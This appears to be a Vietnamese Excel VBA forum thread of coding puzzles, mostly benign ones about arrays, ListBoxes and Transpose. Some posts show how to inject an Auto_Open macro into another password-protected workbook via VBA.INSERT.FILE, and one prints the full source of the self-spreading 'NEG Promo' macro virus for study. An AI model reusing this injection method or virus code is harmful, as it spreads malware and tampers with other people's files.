Tức là: Chạy code từ file A.xls xong, đóng file A.xls lại, mở file B.xls lên thì lập tức sự kiện Change sẽ có tác dụng (tại cell A1)
---------------
Mình nói thêm về câu đố trên: Các bạn chèn code theo bất cứ kiểu gì (không nhất thiết là Worksheet_Change) miễn sao file B.xls nó có khả năng thực hiện được yêu cầu hiện StatusBar khi gõ vào cell A1 là được
--------------
Vậy: Điều các bạn cần suy nghĩ ở đây là LÀM CÁCH NÀO CÓ THỂ CHÈN CODE MÀ VƯỢT QUA ĐƯỢC PASSWORD VBA

 

[dhn46]

................................................
--------------
Vậy: Điều các bạn cần suy nghĩ ở đây là LÀM CÁCH NÀO CÓ THỂ CHÈN CODE MÀ VƯỢT QUA ĐƯỢC PASSWORD VBA

Có phải thầy đang nhắc tới thủ thuật như bài #7 trong Topic này không nhỉ?
http://www.giaiphapexcel.com/forum/...ế-bằng-1-đoạn-code-mới-mà-không-mở-file

 

[ndu96081631]

Có phải thầy đang nhắc tới thủ thuật như bài #7 trong Topic này không nhỉ?
http://www.giaiphapexcel.com/forum/...ế-bằng-1-đoạn-code-mới-mà-không-mở-file

Thì cứ thử xem! Ai mà biết đâu chứ
Ẹc... Ẹc...

 

[SA_DQ]

Mình có bài này, xin nhờ các bạn giải giúp

Ờ cột trang tính S1 mình có bảng số liệu về ngày tháng như sau:

B |
8/20/2013|
9/9/2013|
9/26/2013|
10/7/2013|
10/15/2013|
|

Ở cột [C] trang tính thứ 2 (S2) mình cũng có bảng số liệu như sau:

C |
8/16/2013|
8/23/2013
8/30/2013
9/06/2013|
9/13/2013
9/20/2013|
9/27/2013
10/04/2013|
10/11/2013|
|

Các bạn giúp tôi macro để cột [B:C] trang S1 có số liệu như sau

B | C
8/20/2013|8/16/2013
|8/23/2013
|8/30/2013
9/9/2013|9/6/2013
9/26/2013|9/13/2013
|9/20/2013
|9/27/2013
10/7/2013|10/4/2013|
10/15/2013|10/11/2013
|

Rất cám ơn!

 

[VetMini]

Dùng giải thuật sắp mảng so le.

Sub t()

' xac dinh vung du lieu dau vao. Luc lam that, thay doi cho nay
Const RANGEB = "B1:B5"
Const RANGEC = "C1:C9"

Dim b1 As Variant, c1 As Variant ' array chua du lieu dau vao

b1 = Application.Transpose(Range(RANGEB).Value)
c1 = Application.Transpose(Range(RANGEC).Value)

Range(RANGEB).Clear ' xoa du lieu, de ghi du lieu moi
Range(RANGEC).Clear

Dim szb As Integer, szc As Integer ' do lon cac mang du lieu dau vao
szb = UBound(b1): szc = UBound(c1)

Dim b2 As Variant, c2 As Variant ' array chua du lieu dau ra
ReDim b2(1 To szb + szc)
ReDim c2(1 To szb + szc)

Dim ib1 As Integer, ib2 As Integer, ic1 As Integer, ic2 As Integer ' cac chi so mang
Dim bVc As Integer ' so sanh B va C tuong ung

ib1 = 1: ic1 = 1: i2 = 0

' vong lap doc du lieu dau vao va ghi dau ra
While ib1 <= szb And ic1 <= szc
i2 = i2 + 1
bVc = 100 * Year(b1(ib1)) + Month(b1(ib1)) - 100 * Year(c1(ic1)) - Month(c1(ic1))
' thang cua B bang hoac lon hon C, ghi cot C
If bVc >= 0 Then
    c2(i2) = Format(c1(ic1), "yyyy-mm-dd")
    ic1 = ic1 + 1
End If
' thang cua B bang hoac nho hon C, ghi cot B
If bVc <= 0 Then
    b2(i2) = Format(b1(ib1), "yyyy-mm-dd")
    ib1 = ib1 + 1
End If
Wend

' chep lai
Range("B1").Resize(i2, 1).Value2 = Application.Transpose(b2)
Range("C1").Resize(i2, 1).Value2 = Application.Transpose(c2)

End Sub

code này tôi có hơi lười biếng format kết quả nên sẽ có mấy dữ liệu ra là con số. Nếu bạn format columns lại theo dạng date sẽ thấy kết quả. Nếu siêng thì tự chỉnh sửa phần code format.

 

[VetMini]

Lâu ngày không làm toán sắp mảng so le nên quên mất. Code trên còn thiếu một đoạn chép nốt phần đuôi. Sở dĩ lúc chạy thử không thấy sai là vì dữ liệu thử hơi đặc thù: hai cột B và C đều kết bởi 2 dòng tháng 10. Nếu không có điều kiện này thì đã chạy ra sai.

Phải thêm khúc này sau vòng lạp WHEN để chép nốt phần đuôi:

For ib1 = ib1 to szb
i2 = i2 + 1
b2(i2) = Format(b1(ib1), "yyyy-mm-dd")
Next ib1

For ic1 = ic1 to szc
i2 = i2 + 1
c2(i2) = Format(c1(ic1), "yyyy-mm-dd")
Next ib1

 

[dhn46]

Thì cứ thử xem! Ai mà biết đâu chứ
Ẹc... Ẹc...

Đợi mãi không thấy ai trả lời, em "liều" với cái này vậy

1/ Tạo 1 file Test.txt tại ổ D với nôi dung:

Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long) As Long
Sub StartTimer()
    StopTimer
    SetTimer Application.hWnd, nIDEvent, 1000, AddressOf TimeProc
End Sub
Sub StopTimer()
    KillTimer Application.hWnd, nIDEvent
End Sub
Function TimeProc(ByVal H As Long, ByVal nMSG As Long, ByVal nID As Long, ByVal nTsys As Long)
    If Application.ActiveCell.Address <> "$A$1" Then
        Application.StatusBar = [a1]
    End If
End Function
Sub Auto_Open()
    StartTimer
End Sub

2/ Chạy Code sau trên file A.xls

Sub ImportModule()
  Workbooks.Open ThisWorkbook.Path & "\B.xls"
  ExecuteExcel4Macro ("VBA.INSERT.FILE(""D:\Test.txt"")")
  ActiveWorkbook.Save
  ActiveWorkbook.Close
End Sub

 

[ndu96081631]

Đợi mãi không thấy ai trả lời, em "liều" với cái này vậy

1/ Tạo 1 file Test.txt tại ổ D với nôi dung:

Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long) As Long
Sub StartTimer()
    StopTimer
    SetTimer Application.hWnd, nIDEvent, 1000, AddressOf TimeProc
End Sub
Sub StopTimer()
    KillTimer Application.hWnd, nIDEvent
End Sub
Function TimeProc(ByVal H As Long, ByVal nMSG As Long, ByVal nID As Long, ByVal nTsys As Long)
    If Application.ActiveCell.Address <> "$A$1" Then
        Application.StatusBar = [a1]
    End If
End Function
Sub Auto_Open()
    StartTimer
End Sub

2/ Chạy Code sau trên file A.xls

Sub ImportModule()
  Workbooks.Open ThisWorkbook.Path & "\B.xls"
  ExecuteExcel4Macro ("VBA.INSERT.FILE(""D:\Test.txt"")")
  ActiveWorkbook.Save
  ActiveWorkbook.Close
End Sub

Gần gần đúng rồi đấy (tức là đạt yêu cầu) ---> Chính xác 1 điểm VBA.INSERT.FILE
Nhưng nếu tôi làm thì sẽ là những code rất bình thường (không API gì cả) ---> Thế mới.. VUI
Ẹc... Ẹc...

 

[ndu96081631]

Chắc không ai tham gia nữa rồi. Đưa đáp án lên luôn

Private Sub ImportCode(ByVal ExcelFile As String, ByVal VBACode As String)
  Dim tmpFile, wkb As Workbook
  On Error GoTo ExitSub
  Application.ScreenUpdating = False
  With CreateObject("Scripting.FileSystemObject")
    tmpFile = .GetTempName
    With .OpenTextFile(tmpFile, 2, True)
      .Write VBACode: .Close
    End With
  End With
  Set wkb = Workbooks.Open(ExcelFile)
  ExecuteExcel4Macro ("VBA.INSERT.FILE(""" & tmpFile & """)")
  wkb.Close (True)
  Kill tmpFile
ExitSub:
  Application.ScreenUpdating = True
End Sub

Sub Main()
  Dim ExcelFile As String, VBACode As String
  ExcelFile = ThisWorkbook.Path & "\B.xls"
  VBACode = "Sub Auto_Open()" & vbLf & _
            "ActiveSheet.OnEntry = ""Main""" & vbLf & _
            "End Sub" & vbLf & _
            "Sub Main()" & vbLf & _
            "If ActiveCell.Address = ""$A$1"" Then Application.StatusBar = ActiveCell.Value" & vbLf & _
            "End Sub"
  ImportCode ExcelFile, VBACode
End Sub

Code này trong file A.xls. Chạy Sub Main, đóng file A, mở file B lên sẽ thấy kết quả

 

[dhn46]

Hay quá thầy ah. Em search lại thấy Topic này cũng đã đố về cái em "OnEntry" này rồi mà giờ em mới biết.

 

[ndu96081631]

Hay quá thầy ah. Em search lại thấy Topic này cũng đã đố về cái em "OnEntry" này rồi mà giờ em mới biết.

Tức là kiến thức không mới, vấn đề là phối hợp nhiều cái cũ lại cho ra 1 cái mới hơn (khiến ta ngạc nhiên)
Ẹc... Ẹc...
Qua đây mới thấy rằng: Dù 1 file có pass VBA, tôi không cần phải crack gì cả cũng có thể khiến cho file ấy "banh ta long" như thường (phá hoại)

 

[Hoàng Trọng Nghĩa]

Để tạo không khí mới, tôi đố các bạn về LISTBOX nhé!

Tôi có 1 UserForm, trong đó có 1 ListBox và 1 CommandButton.

Với ListBox tôi đặt thuộc tính MultiSelect

Khi Show Form, tôi chạy thủ tục sau:

Private Sub UserForm_Initialize()
    Dim i As Long
    For i = 1 To 10000
[COLOR=#008000]        ''Add item for ListBox:[/COLOR]
[COLOR=#0000ff]        Me.ListBox1.AddItem "Nghia dep trai " & i[/COLOR]
[COLOR=#008000]        ''Check all of items on ListBox:[/COLOR]
[COLOR=#800080]        Me.ListBox1.Selected(i - 1) = True[/COLOR]
    Next
End Sub

Khi Form được show, các bạn sẽ thấy các mục trong ListBox được CHECK và được SELECT toàn bộ.

Câu đố đặt ra là:

Gán thủ tục nào đó vào CommandButton mà khi ta bấm vào nó BỎ CHỌN (UNCHECK) tất cả các mục đã chọn trong ListBox một cách nhanh nhất, ngắn gọn nhất!

Xin lưu ý:

Không chơi cái này nha: Me.ListBox1.MultiSelect = fmMultiSelectSingle

Bởi khi làm như thế nó mất đi thuộc tính ban đầu ta gán cho nó roài!

 

[ndu96081631]

Câu đố đặt ra là:

Gán thủ tục nào đó vào CommandButton mà khi ta bấm vào nó BỎ CHỌN (UNCHECK) tất cả các mục đã chọn trong ListBox một cách nhanh nhất, ngắn gọn nhất!

Vầy chắc được:

Me.ListBox1.MultiSelect = 0

 

[nghiaphuc]

Để tạo không khí mới, tôi đố các bạn về LISTBOX nhé!

Tôi có 1 UserForm, trong đó có 1 ListBox và 1 CommandButton.

Với ListBox tôi đặt thuộc tính MultiSelect

Khi Show Form, tôi chạy thủ tục sau:

Private Sub UserForm_Initialize()
    Dim i As Long
    For i = 1 To 10000
[COLOR=#008000]        ''Add item for ListBox:[/COLOR]
[COLOR=#0000ff]        Me.ListBox1.AddItem "Nghia dep trai " & i[/COLOR]
[COLOR=#008000]        ''Check all of items on ListBox:[/COLOR]
[COLOR=#800080]        Me.ListBox1.Selected(i - 1) = True[/COLOR]
    Next
End Sub

Khi Form được show, các bạn sẽ thấy các mục trong ListBox được CHECK và được SELECT toàn bộ.

Câu đố đặt ra là:

Gán thủ tục nào đó vào CommandButton mà khi ta bấm vào nó BỎ CHỌN (UNCHECK) tất cả các mục đã chọn trong ListBox một cách nhanh nhất, ngắn gọn nhất!

"Ăn gian" kiểu này có được chấp nhận không anh Nghĩa nhỉ:
[GPECODE=vb]Private Sub CommandButton1_Click()
ListBox1.MultiSelect = fmMultiSelectSingle
ListBox1.MultiSelect = fmMultiSelectMulti
End Sub[/GPECODE]

 

[ndu96081631]

Không chơi cái này nha: Me.ListBox1.MultiSelect = fmMultiSelectSingle

Vụ gì vậy?
CHƠI xong, đi rửa tay phát như nghiaphuc là được rồi

 

[Hoàng Trọng Nghĩa]

Vầy chắc được:

Me.ListBox1.MultiSelect = 0

"Ăn gian" kiểu này có được chấp nhận không anh Nghĩa nhỉ:
[GPECODE=vb]Private Sub CommandButton1_Click()
ListBox1.MultiSelect = fmMultiSelectSingle
ListBox1.MultiSelect = fmMultiSelectMulti
End Sub[/GPECODE]

Xin lỗi, mình đã bổ sung sau dòng này, các Thầy trả lời nhanh quá!

Xin lưu ý:

Không chơi cái này nha: Me.ListBox1.MultiSelect = fmMultiSelectSingle

Bởi khi làm như thế nó mất đi thuộc tính ban đầu ta gán cho nó roài!

 

[Hoàng Trọng Nghĩa]

Vụ gì vậy?
CHƠI xong, đi rửa tay phát như nghiaphuc là được rồi

Chấp luôn! Vậy còn cách nào ngắn hơn nữa không?

 

[nghiaphuc]

Vụ gì vậy?
CHƠI xong, đi rửa tay phát như nghiaphuc là được rồi

Em cũng "giật mình", lúc đang mò mẫm thì không thấy cái vụ này, đến hồi gửi bài lên mới thấy dòng này, hóa ra anh Nghĩa mới sửa bài. Hic hic...

 

[ndu96081631]

Em cũng "giật mình", lúc đang mò mẫm thì không thấy cái vụ này, đến hồi gửi bài lên mới thấy dòng này, hóa ra anh Nghĩa mới sửa bài. Hic hic...

Nếu như CẤM CHƠI thì tui HIẾP luôn:

Me.ListBox1.List() = Me.ListBox1.List

Ẹc... Ẹc...

 

[Hoàng Trọng Nghĩa]

Nếu như CẤM CHƠI thì tui HIẾP luôn:

Me.ListBox1.List() = Me.ListBox1.List

Ẹc... Ẹc...

Đúng là đố vui, trả lời cũng vui thiệt! Nhưng như thế thì thời gian có kéo dài quá không nhỉ?

 

[nghiaphuc]

Nếu như CẤM CHƠI thì tui HIẾP luôn:

Me.ListBox1.List() = Me.ListBox1.List

Ẹc... Ẹc...

Trời đất, nhanh hơn điện! Em cũng vừa mới phát hiện ra, vừa định gửi thì đã thấy bài này rồi. Zui thiệt!

 

[Hoàng Trọng Nghĩa]

Trời đất, nhanh hơn điện! Em cũng vừa mới phát hiện ra, vừa định gửi thì đã thấy bài này rồi. Zui thiệt!

Sau khi thử xong, nó nhanh thiệt! Tưởng đâu nó add list bằng mảng của chính nó chậm chứ! Thật sự dùng List nhanh vô địch nhỉ?

 

[nghiaphuc]

Sau khi thử xong, nó nhanh thiệt! Tưởng đâu nó add list bằng mảng của chính nó chậm chứ! Thật sự dùng List nhanh vô địch nhỉ?

Ý em nói nhanh là anh Tuấn nhanh cơ. Code chạy cũng mượt mà, màn hình không hề giựt. Cái chiêu gán List này anh Tuấn cũng có một vài lần đề cập đến trong topic này, nhưng mà với mục đích khác (gán list một lần, xài mãi mãi).

 

[Hoàng Trọng Nghĩa]

Ý em nói nhanh là anh Tuấn nhanh cơ. Code chạy cũng mượt mà, màn hình không hề giựt. Cái chiêu gán List này anh Tuấn cũng có một vài lần đề cập đến trong topic này, nhưng mà với mục đích khác (gán list một lần, xài mãi mãi).

Anh nói là nó gán mảng vào ListBox thì nhanh vô địch, nhưng việc UnCheck còn có thủ tục đơn giản hơn và anh nghĩ sẽ nhanh hơn nữa đấy! Tiếp tục tìm cách khác xem có đúng đáp án của mình không nhé!

 

[nghiaphuc]

Anh nói là nó gán mảng vào ListBox thì nhanh vô địch, nhưng việc UnCheck còn có thủ tục đơn giản hơn và anh nghĩ sẽ nhanh hơn nữa đấy! Tiếp tục tìm cách khác xem có đúng đáp án của mình không nhé!

Chẳng biết có nhanh hơn hay không nhưng có một cách "ăn gian" nữa là như vầy:
[GPECODE=vb]Private Sub CommandButton1_Click()
ListBox1.ColumnCount = ListBox1.ColumnCount + 1
ListBox1.ColumnCount = ListBox1.ColumnCount - 1
End Sub[/GPECODE]

 

[Hoàng Trọng Nghĩa]

Chẳng biết có nhanh hơn hay không nhưng có một cách "ăn gian" nữa là như vầy:
[GPECODE=vb]Private Sub CommandButton1_Click()
ListBox1.ColumnCount = ListBox1.ColumnCount + 1
ListBox1.ColumnCount = ListBox1.ColumnCount - 1
End Sub[/GPECODE]

Đúng là nghiaphuc có nhiều "mưu mẹo" thiệt! Thôi, mình giải luôn nhé, được không nhỉ?

 

[siwtom]

Đúng là nghiaphuc có nhiều "mưu mẹo" thiệt! Thôi, mình giải luôn nhé, được không nhỉ?

vd. ListBox1.ColumnWidths = "100"

 

[Hoàng Trọng Nghĩa]

Các ơn các Thầy đã tham gia cho vui.

Thật ra đáp án thì có rất nhiều cách để cho nó UnCheck nhanh chóng, nhưng đáp án mà tôi đưa ra thật thú vị vì nó chẳng ăn nhập gì đến dữ liệu hay kết cấu của ListBox! Đó là định dạng BackColor hoặc ForeColor của chính nó!

Chỉ với 1 trong 2 thủ tục dưới đây là có thể uncheck rất nhanh mà không ảnh hưởng gì đến màn hình hay thời gian:

    [COLOR=#ff0000]ListBox1.BackColor = ListBox1.BackColor[/COLOR]

[COLOR=#008000]''Hoặc:
[/COLOR] 
   [COLOR=#0000ff]ListBox1.ForeColor = ListBox1.ForeColor[/COLOR]

Ngạc nhiên chưa! Khá thú vị với thủ tục này phải không? Anh Bill tạo cái ListBox cũng lắm bất ngờ thiệt đó! Trong khi ListView thì không bị bất cập vậy đâu!

 

[ndu96081631]

Các ơn các Thầy đã tham gia cho vui.

Thật ra đáp án thì có rất nhiều cách để cho nó UnCheck nhanh chóng, nhưng đáp án mà tôi đưa ra thật thú vị vì nó chẳng ăn nhập gì đến dữ liệu hay kết cấu của ListBox! Đó là định dạng BackColor hoặc ForeColor của chính nó!

Chỉ với 1 trong 2 thủ tục dưới đây là có thể uncheck rất nhanh mà không ảnh hưởng gì đến màn hình hay thời gian:

    [COLOR=#ff0000]ListBox1.BackColor = ListBox1.BackColor[/COLOR]

[COLOR=#008000]''Hoặc:
[/COLOR] 
   [COLOR=#0000ff]ListBox1.ForeColor = ListBox1.ForeColor[/COLOR]

Ngạc nhiên chưa! Khá thú vị với thủ tục này phải không? Anh Bill tạo cái ListBox cũng lắm bất ngờ thiệt đó! Trong khi ListView thì không bị bất cập vậy đâu!

Đố cái gì mà cả đống đáp án, mà đáp án nào cũng... đúng thì đố làm đếch gì
Ẹc... Ẹc...

 

[ndu96081631]

Tiếp tục chủ đề chèn code vào file

Tiếp tục chủ đề chèn code vào file giống như bài 832 nhưng lần này hơi khác một chút
Viết 1 code VBA làm các nhiệm vụ sau đây:
- Chèn một Module mới vào file hiện hành
- Đặt tên cho Module mới này là "modTest"
- Chèn code vào module modTest với nội dung:

Sub NDU()
MsgBox "Hello"
End Sub

- Run Sub NDU
--------------------------
Điều kiện ràng buộc:
- Không check mục "Trust access to the VBA project..." trong phần Macro Settings
- File hiện hành có password protect VBA (ta biết trước password này)
--------------------------
Cái vụ không check mục "Trust access..." này mới là ăn tiền nè, vì hổng check làm sao mà chèn code (dù có dùng macro 4). Ẹc... Ẹc...
Trò này trước đây đã bị đồng đội làm "lộ chiêu" nhưng... kệ, cứ đố (có khi người ta cũng chẳng để ý)

 

[thanhlanh]

Điều kiện ràng buộc:
- Không check mục "Trust access to the VBA project..." trong phần Macro Settings

(có khi người ta cũng chẳng để ý)

Có cho Check nó bằng code (trong file A.xls) không?

 

[ndu96081631]

Có cho Check nó bằng code (trong file A.xls) không?

Không cho luôn!
Ẹc... Ẹc... thế mới khoai chứ!
Em nhắc lại: CHÈN CODE VÀO FILE HIỆN HÀNH nha (hổng phải chèn vào file khác như lần trước)

 

[Hai Lúa Miền Tây]

Không cho luôn!
Ẹc... Ẹc... thế mới khoai chứ!
Em nhắc lại: CHÈN CODE VÀO FILE HIỆN HÀNH nha (hổng phải chèn vào file khác như lần trước)

Ẹc, ẹc....
- Tạo 1 module với code như trên.
- Chèn module đó vào file hiện hành.
- Đổi tên Module (Chưa làm được... ẹc, ẹc...)

 

[ndu96081631]

Ẹc, ẹc....
- Tạo 1 module với code như trên.
- Chèn module đó vào file hiện hành.
- Đổi tên Module (Chưa làm được... ẹc, ẹc...)

Tức là làm được 2 công đoạn? Hai Lúa thử đưa code lên đây xem thế nào

 

[ndu96081631]

Tiếp tục chủ đề chèn code vào file giống như bài 832 nhưng lần này hơi khác một chút
Viết 1 code VBA làm các nhiệm vụ sau đây:
- Chèn một Module mới vào file hiện hành
- Đặt tên cho Module mới này là "modTest"
- Chèn code vào module modTest với nội dung:

Sub NDU()
MsgBox "Hello"
End Sub

- Run Sub NDU
--------------------------
Điều kiện ràng buộc:
- Không check mục "Trust access to the VBA project..." trong phần Macro Settings
- File hiện hành có password protect VBA (ta biết trước password này)
--------------------------
Cái vụ không check mục "Trust access..." này mới là ăn tiền nè, vì hổng check làm sao mà chèn code (dù có dùng macro 4). Ẹc... Ẹc...
Trò này trước đây đã bị đồng đội làm "lộ chiêu" nhưng... kệ, cứ đố (có khi người ta cũng chẳng để ý)

Gợi ý: Hãy xem bài số 9 của topic này:
http://www.giaiphapexcel.com/forum/showthread.php?84941-Chuyển-định-dạng-thành-số
Trong đó mình có nói rằng đã phát hiện được 2 chiêu rất hay trong con virus mà tác giả đính kèm
Vậy nên: Bài đố vui này là áp dụng chiêu mà con virus đã áp dùng đấy
Các bạn cứ việc nghiên cứu file virus ở bài 1 rồi tự suy nghĩ nhé
Ẹc... Ẹc...

 

[thanhlanh]

Gợi ý: Hãy xem bài số 9 của topic này:
http://www.giaiphapexcel.com/forum/showthread.php?84941-Chuyển-định-dạng-thành-số
Trong đó mình có nói rằng đã phát hiện được 2 chiêu rất hay trong con virus mà tác giả đính kèm
Vậy nên: Bài đố vui này là áp dụng chiêu mà con virus đã áp dùng đấy
Các bạn cứ việc nghiên cứu file virus ở bài 1 rồi tự suy nghĩ nhé
Ẹc... Ẹc...

Mình chưa xem code của file đó.
Hôm trước vừa tải vể, anh AVG anh báo có kẹ và hỏi có xóa không, mình trả lời đại loại là cứ mặc kệ cho nó chạy (Sau khi đã cẩn thận vô hiệu hóa Macro). Thế mà ảnh âm thầm xóa hết code trong đó (còn nếu trả lời hãy bảo vệ tôi thì ảnh xóa nguyên file).

Vấn đề đặt ra là nếu thiết kế được như ndu yêu cầu, dựa theo code bài đó thì có thể cũng không sử dụng bình thường nếu không tắt AVG (hoặc một Anti virut trên máy) vì bị cho là Virut.

Đó là mình nói khi đưa vào ứng dụng, còn ở đây là đố vui nên các cao thủ hãy tham gia cho ... vui!

 

[siwtom]

Mình chưa xem code của file đó.

Thực ra con virus cũng chả "phá phách" gì.
11 ngày trước tôi có viết 1 bài ngắn về cơ cấu mà "con này" nó thêm module vào tập tin khác. Có bỏ chọn "Trust Access ..." thì nó vẫn thêm được.

 

[ndu96081631]

Mình chưa xem code của file đó.
Hôm trước vừa tải vể, anh AVG anh báo có kẹ và hỏi có xóa không, mình trả lời đại loại là cứ mặc kệ cho nó chạy (Sau khi đã cẩn thận vô hiệu hóa Macro). Thế mà ảnh âm thầm xóa hết code trong đó (còn nếu trả lời hãy bảo vệ tôi thì ảnh xóa nguyên file).

Vấn đề đặt ra là nếu thiết kế được như ndu yêu cầu, dựa theo code bài đó thì có thể cũng không sử dụng bình thường nếu không tắt AVG (hoặc một Anti virut trên máy) vì bị cho là Virut.

Đó là mình nói khi đưa vào ứng dụng, còn ở đây là đố vui nên các cao thủ hãy tham gia cho ... vui!

Nếu anh cảm thấy "bất an" khi phải mở file ấy để nghiên cứu, vậy thì em copy toàn bộ code của nó lên đây để mọi người tham khảo nhé:

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    C$ = Application.StartupPath
    M$ = Dir(C$ & "\" & "NEGS.XLS")
    If M$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub

Nghiên cứu ra được gì là chuyện của mọi người
(mục đích cuối cùng là giải câu đố vui này)

 

[thanhlanh]

Hãy: nêu ví dụ về (hoặc nguyên nhân của) sự "chập chờn" của hàm Transpose của VBA, khi dùng để gán dictionary hoặc mảng xuống range. "Chập chờn" nghĩa là lúc bị lỗi, lúc không bị, trong khi dic.Count hoặc chiều dài mảng cố định, phiên bản Excel cố định.

 

[ndu96081631]

Hãy: nêu ví dụ về (hoặc nguyên nhân của) sự "chập chờn" của hàm Transpose của VBA, khi dùng để gán dictionary hoặc mảng xuống range. "Chập chờn" nghĩa là lúc bị lỗi, lúc không bị, trong khi dic.Count hoặc chiều dài mảng cố định, phiên bản Excel cố định.

Anh nói chung chung vậy thì biết sao mà trả lời hả anh!
Nói chung thì em hiếm khi dùng hàm TRANSPOSE mà luôn tự viết hàm riêng để xoay mảng
(cái mà em ghét nhất là TRANSPOSE tự "tài lanh" biến đổi hết dữ liệu trong mảng thành kiểu không mong muốn)

 

[thanhlanh]

Anh nói chung chung vậy thì biết sao mà trả lời hả anh!
Nói chung thì em hiếm khi dùng hàm TRANSPOSE mà luôn tự viết hàm riêng để xoay mảng
(cái mà em ghét nhất là TRANSPOSE tự "tài lanh" biến đổi hết dữ liệu trong mảng thành kiểu không mong muốn)

Ví dụ khi ta dùng vòng lặp để gán các giá trị (số hoặc chuỗi hoặc công thức) vào mảng có khi dùng TRANSPOSE được, có khi không, trong khi dùng vòng lặp đảo mảng đó thì gán xuống range luôn luôn được. Nguyên nhân thì có thể là nhiều nhưng mình chỉ cần nêu một (vì mình chỉ biết một, he he) .

Chú ý chữ màu đỏ, vì đôi lúc với dữ liệu hiện có thì code chạy êm nhưng có khi gặp dữ liệu khác thì ... tèo.

Trước đây nhiều người lầm tưởng do nhiều dòng, cột bị lỗi. Còn trường hợp tràn dòng hoặc cột bị lỗi thì tất nhiên rồi, lúc đó có dùng hàm đảo mảng cũng lỗi.

 

[Quang_Hải]

Hãy: nêu ví dụ về (hoặc nguyên nhân của) sự "chập chờn" của hàm Transpose của VBA, khi dùng để gán dictionary hoặc mảng xuống range. "Chập chờn" nghĩa là lúc bị lỗi, lúc không bị, trong khi dic.Count hoặc chiều dài mảng cố định, phiên bản Excel cố định.

Có lần mình cũng bị vụ này và cố tìm ra nguyên nhân. Cuối cùng thì mình tự cho là nếu vượt quá 65536 phần tử thì hàm transpose bị lỗi.

 

[ndu96081631]

Ví dụ khi ta dùng vòng lặp để gán các giá trị (số hoặc chuỗi hoặc công thức) vào mảng có khi dùng TRANSPOSE được, có khi không, trong khi dùng vòng lặp đảo mảng đó thì gán xuống range luôn luôn được. Nguyên nhân thì có thể là nhiều nhưng mình chỉ cần nêu một (vì mình chỉ biết một, he he) .

Chú ý chữ màu đỏ, vì đôi lúc với dữ liệu hiện có thì code chạy êm nhưng có khi gặp dữ liệu khác thì ... tèo.

Trước đây nhiều người lầm tưởng do nhiều dòng, cột bị lỗi. Còn trường hợp tràn dòng hoặc cột bị lỗi thì tất nhiên rồi, lúc đó có dùng hàm đảo mảng cũng lỗi.

Thì anh giải luôn đi. Cái vụ "CÓ KHI" này ai biết đâu mà lần

 

[thanhlanh]

Thì anh giải luôn đi. Cái vụ "CÓ KHI" này ai biết đâu mà lần

Thế mới "khoai" chớ! Mình ít dùng nhưng cũng nên biết chớ hỉ?
Câu trả lời ngắn gọn: Chỉ cần có (ít nhất) một phần tử trong mảng vượt quá 255 ký tự mà dùng hàm transpose để xoay mảng sẽ bị lỗi.

Để thử nghiệm chúng ta cùng xét một ví dụ dùng Transpose sau:

Sub test1()
    Dim i&, j$, k&
    Dim arr(1 To 10, 1 To 500)
    For i = 1 To 10
        For k = 1 To 500
            If k = 1 Then j = ""
           [COLOR=#ff0000] If k < 256 Then[/COLOR]
                j = Chr(64 + i) & j
                If i Mod 2 = 0 Then
                    arr(i, k) = "=LEN(RC[-1])"
                Else
                    arr(i, k) = j
                End If
           [COLOR=#ff0000] End If[/COLOR]
        Next
    Next
    Range("a1").Resize(500, 10) = Application.WorksheetFunction.Transpose(arr)
End Sub

Nếu như không có điều kiện màu đỏ ở trên sẽ gây lỗi => có một phần tử của mảng vượt quá 255 ký tự, dùng hàm Transpose sẽ lỗi.


Tuy nhiên khi thêm vòng lặp xoay mảng vào thì không cần điều khiện đó nữa:

Sub test2()
    Dim i&, j$, k&
    Dim arr(1 To 10, 1 To 500), arr2(1 To 500, 1 To 10)


    For i = 1 To 10
        For k = 1 To 500
            If k = 1 Then j = ""
            [COLOR=#ff0000]'If k < 256 Then[/COLOR]
                j = Chr(64 + i) & j
                If i Mod 2 = 0 Then
                    arr(i, k) = "=LEN(RC[-1])"
                Else
                    arr(i, k) = j
                End If
            [COLOR=#ff0000]'End If[/COLOR]
        Next
    Next


    For i = 1 To 10
        For k = 1 To 500
            arr2(k, i) = arr(i, k)
        Next
    Next
    Range("a1").Resize(500, 10) = arr2
End Sub

 

[ndu96081631]

Thế mới "khoai" chớ! Mình ít dùng nhưng cũng nên biết chớ hỉ?
Câu trả lời ngắn gọn: Khi có một phần tử trong mảng vượt quá 255 ký tự mà dùng hàm transpose để xoay mảng sẽ bị lỗi.

Theo anh nói vậy thì TRANSPOSE sẽ LUÔN LUÔN bị lỗi chứ đâu phải là ĐÔI KHI chứ
Mà anh chỉ cần đưa ví dụ thế này có phải đơn giản không:

Sub Test1()
